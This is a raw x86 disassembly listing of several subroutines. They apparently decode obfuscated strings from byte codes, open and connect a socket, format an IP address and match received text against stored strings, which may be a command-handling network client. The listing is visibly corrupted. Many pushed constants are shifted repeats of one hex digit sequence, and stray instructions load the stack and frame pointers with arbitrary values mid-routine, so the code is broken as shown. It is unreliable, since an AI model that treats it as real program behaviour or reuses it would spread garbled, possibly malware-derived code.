push ecx
mov ecx, edi
call sub_4013F2
test al, al
jz short loc_40E042
lea ecx, [esp+24h]
call sub_401726
push eax
push 6389D6h
lea ecx, [esi+69h]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push 71C4EBh
call sub_40178F
add esp, 18h
loc_40E042: ; CODE XREF: _294ADE7B:0040E00Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_4011F9
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40E069: ; CODE XREF: _294ADE7B:0040DFDCj
lea ecx, [edi+75h]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_40E17F
push 1
push 38E275h
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011C2
push 1
push 1C713Ah
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011C2
push 1
push 4E389Dh
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011C2
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_401FC8
test al, al
jz short loc_40E13D
lea ecx, [esp+24h]
call sub_401726
push eax
lea ecx, [esp+10h]
call sub_401726
push eax
lea ecx, [esp+44h]
call sub_401726
push eax
push 671C4Eh
lea ecx, [esi+69h]
call sub_401479
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push 338E27h
call sub_40178F
add esp, 20h
loc_40E13D: ; CODE XREF: _294ADE7B:0040E0F4j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_4011F9
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_4011F9
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_4011F9
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40E17F: ; CODE XREF: _294ADE7B:0040E07Bj
lea ecx, [edi+0A3h]
call sub_401479
push eax
mov ecx, ebx
call sub_4012B7
test eax, eax
jnz loc_40E221
push 1
push 19C713h
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011C2
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_40186B
test al, al
jz short loc_40E1FA
lea ecx, [esp+54h]
call sub_401726
push eax
push 4CE389h
lea ecx, [esi+69h]
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push 6671C4h
call sub_40178F
add esp, 18h
loc_40E1FA: ; CODE XREF: _294ADE7B:0040E1C5j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_4011F9
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40E221: ; CODE XREF: _294ADE7B:0040E194j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E320 proc near ; CODE XREF: sub_401BE0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call dword ptr ds:3338E2h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40E320 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40E390 proc near ; CODE XREF: sub_401609j
var_2A = byte ptr -2Ah
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 199C71h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401D2F
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_401190
lea ebp, [esi+28h]
mov ecx, ebp
call sub_4013CF
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_4013CF
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_4016A9
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_4016A9
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_4016A9
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_4016A9
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_4016A9
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_4016A9
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_4016A9
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_4016A9
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_4016A9
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_4016A9
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_4016A9
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_4016A9
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_4016A9
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_4016A9
lea eax, [esp+13h]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_401686
mov dword ptr [edi], offset off_437034
mov bl, 11h
xor edi, edi
push 0CCE38h
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_437028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_401564
call dword ptr ds:6671Ch
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_401726
push eax
push offset byte_43338E
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4018DE
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_401726
push eax
push 6199C7h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_401726
push eax
push 70CCE3h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4018DE
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_401726
push eax
push 386671h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4018DE
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_401726
push eax
push 1C3338h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4018DE
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_401726
push eax
push 0E199Ch
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4018DE
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_401726
push eax
push offset word_470CCE
call sub_401BE0
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_4011F9
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_401726
push eax
push 638667h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 2Dh
push 2Dh
loc_40E70F: ; DATA XREF: sub_404890+AB3o
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_401726
push eax
push 31C333h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_401726
push eax
push 58E199h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_401726
push eax
push 2C70CCh
call sub_401BE0
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_4011F9
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4018DE
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_401726
push eax
push 163866h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_401726
push eax
push 0B1C33h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_401726
push eax
push offset byte_458E19
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_401726
push eax
push 62C70Ch
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
loc_40E8B4: ; DATA XREF: _294ADE7B:0040A4D1o
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4018DE
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_401726
push eax
push 316386h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4018DE
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_401726
push eax
push 18B1C3h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4018DE
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_401726
push eax
push 4C58E1h
call sub_401BE0
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_4011F9
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40E390 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EB00 proc near ; CODE XREF: sub_401FA0j
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push 262C70h
push eax
mov ecx, 874C58h
mov large fs:0, esp
call sub_430390
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_4013CF
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_40FED0
loc_40EB42: ; CODE XREF: sub_40EB00+13CAj
mov al, ds:byte_499254
mov edi, ds:dword_4B38D0
cmp al, bl
jz loc_40FED0
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_40EB6A
cmp dword ptr [ebp+1Ch], 5
jg short loc_40EB74
cmp eax, ebx
jz loc_40ECAE
loc_40EB6A: ; CODE XREF: sub_40EB00+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_40ECAE
loc_40EB74: ; CODE XREF: sub_40EB00+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_40EB89
push eax
call ds:dword_4BA62C
loc_40EB89: ; CODE XREF: sub_40EB00+80j
mov edx, offset byte_465D31
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_4014CE
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_40189D
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_40EBB9
mov [ebp+20h], ebx
loc_40EBB9: ; CODE XREF: sub_40EB00+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_401415
mov ecx, [eax]
add ecx, 16Dh
push ecx
push 2B2E98h
mov esp, 4CACBAh
call sub_401DED
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401415
mov eax, [eax]
mov edi, 64CACBh
add eax, 1B6h
push eax
push 3A6565h
call sub_401DED
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401415
mov edx, [eax]
mov esi, 5D32Bh
loc_40EC13: ; DATA XREF: sub_40EB00+7CCo
push edx
push 2E995h
call sub_401DED
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401415
mov ecx, [eax]
add ecx, 124h
push ecx
push 174CAh
mov ecx, 20174Ch
call sub_401DED
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401415
mov eax, [eax]
mov esp, 0E180BAh
add eax, 0DBh
push eax
push 78C05Dh
call sub_401DED
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401415
mov edx, [eax]
mov ebp, 0A7C602h
add edx, 92h
push edx
push 5BE301h
call sub_401DED
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401415
mov ecx, [eax]
add ecx, 1FFh
push ecx
push 6DF180h
mov eax, 8D1B7Ch
call sub_401DED
call edi
mov [ebp+24h], eax
loc_40ECAE: ; CODE XREF: sub_40EB00+64j
; sub_40EB00+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_40ECD8
push 6
push 1
push 2
call dword ptr ds:4E8DBEh
push 2746DFh
mov [ebp+18h], eax
mov [ebp+15h], bl
call dword ptr ds:53A36Fh
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40ECD8: ; CODE XREF: sub_40EB00+1B4j
cmp [ebp+15h], bl
jnz loc_40EE68
mov ax, ds:word_4401C4
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
call dword ptr ds:69D1B7h
mov ebp, 0EFA746h
mov [esp+24h+arg_1E], ax
call sub_401726
push eax
call sub_4017C1
add esp, 4
mov [esp+24h+arg_20], eax
call edi
mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
call dword ptr ds:7FD3A3h
cmp eax, 0FFFFFFFFh
jnz short loc_40ED58
push 7FE9D1h
call dword ptr ds:7FF4E8h
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40ED58: ; CODE XREF: sub_40EB00+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
mov [esp+3Ch+arg_20], 10h
call dword ptr ds:3FFA74h
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push 1FFD3Ah
push edx
call dword ptr ds:4FFE9Dh
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_401564
lea ecx, [esp+3Ch+arg_408]
push ecx
call dword ptr ds:67FF4Eh
push 33FFA7h
mov ebp, 82CFFEh
mov [ebp+52h], eax
call sub_4012B7
test eax, eax
jz short loc_40EE27
mov edi, 24B3Fh
call sub_401726
mov edx, ds:dword_43FF74
push eax
push edx
push 9259Fh
push ebp
call sub_401CDA
add esp, 10h
loc_40EE27: ; CODE XREF: sub_40EB00+305j
mov esp, 62496h
call sub_401726
push eax
mov esp, 2C5892h
call sub_401726
push eax
mov eax, ds:dword_43FF7C
push eax
mov edx, 0C2C589h
call sub_401726
mov ecx, ds:dword_43FF78
push eax
push ecx
push 6962C4h
push ebp
call sub_401CDA
add esp, 1Ch
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40EE68: ; CODE XREF: sub_40EB00+1DBj
mov esp, 8B4B16h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push offset byte_45A58B
push eax
push edx
call sub_40124E
add esp, 10h
cmp al, bl
jz loc_40FEC0
call dword ptr ds:62D2C5h
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401B9A
lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_4019A1
push 716962h
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF80
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
jnz short loc_40EF40
push 38B4B1h
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 1C5A58h
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401A7D
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_4011F9
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_40EF44
loc_40EF40: ; CODE XREF: sub_40EB00+3EAj
mov [esp+20h+var_D], bl
loc_40EF44: ; CODE XREF: sub_40EB00+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
cmp [esp+20h+var_D], bl
jz short loc_40EF66
mov byte ptr [ebp+16h], 1
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40EF66: ; CODE XREF: sub_40EB00+45Bj
push 4E2D2Ch
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF54
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_4011F9
mov al, [esp+20h+var_D]
push 671696h
cmp al, bl
push 1
jz short loc_40F004
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_401622
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_401726
push eax
mov eax, ds:dword_43FF70
push eax
push 738B4Bh
push ebp
call sub_401CDA
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_40F132
; ---------------------------------------------------------------------------
loc_40F004: ; CODE XREF: sub_40EB00+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_401622
mov ecx, ds:dword_43FF58
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_4011F9
mov al, [esp+20h+var_D]
push 39C5A5h
cmp al, bl
jz loc_40F170
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
push 5CE2D2h
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012B7
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
cmp esi, ebx
jz loc_40FEC7
push 2E7169h
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF70
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_4011F9
cmp [esp+20h+var_D], bl
jz short loc_40F137
push 5738B4h
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_401726
push eax
mov eax, ds:dword_43FF70
push eax
push 2B9C5Ah
push ebp
call sub_401CDA
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_40F132: ; CODE XREF: sub_40EB00+4FFj
call sub_4011F9
loc_40F137: ; CODE XREF: sub_40EB00+5E6j
cmp [ebp+16h], bl
jnz loc_40FEC7
mov ebx, 0A2B9C5h
call sub_401726
push eax
mov esp, 0ED15CEh
call sub_401726
mov ecx, ds:dword_43FF5C
push eax
push ecx
push 7E8AE7h
push ebp
call sub_401CDA
add esp, 14h
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40F170: ; CODE XREF: sub_40EB00+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF90
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
jz short loc_40F1F2
push 7F4573h
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov ecx, ds:dword_43FF94
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_4011F9
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_40F1F7
loc_40F1F2: ; CODE XREF: sub_40EB00+69Bj
mov [esp+20h+var_D], 1
loc_40F1F7: ; CODE XREF: sub_40EB00+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
cmp [esp+20h+var_D], bl
jz short loc_40F264
cmp [ebp+16h], bl
jnz short loc_40F240
mov esi, 27F457h
call sub_401726
push eax
mov edx, 609FD1h
call sub_401726
mov edx, ds:dword_43FF5C
push eax
push edx
push 304FE8h
push ebp
call sub_401CDA
add esp, 14h
loc_40F240: ; CODE XREF: sub_40EB00+713j
mov edi, 0EC13Fh
call sub_401726
push eax
mov eax, ds:dword_43FF64
push eax
push 7609Fh
push ebp
call sub_401CDA
add esp, 10h
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40F264: ; CODE XREF: sub_40EB00+70Ej
push 3B04Fh
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_401622
mov edx, ds:dword_43FF6C
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012B7
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_4011F9
mov al, [esp+20h+var_D]
push 1D827h
cmp al, bl
jz short loc_40F315
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_401622
push offset loc_40EC13
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_401479
push eax
call dword ptr ds:607609h
add esp, 8
cmp eax, ebx
jz short loc_40F2FD
inc eax
lea ecx, [ebp+28h]
push eax
call sub_401564
loc_40F2FD: ; CODE XREF: sub_40EB00+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_4011F9
jmp loc_40FEC7
; ---------------------------------------------------------------------------
loc_40F315: ; CODE XREF: sub_40EB00+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_401622
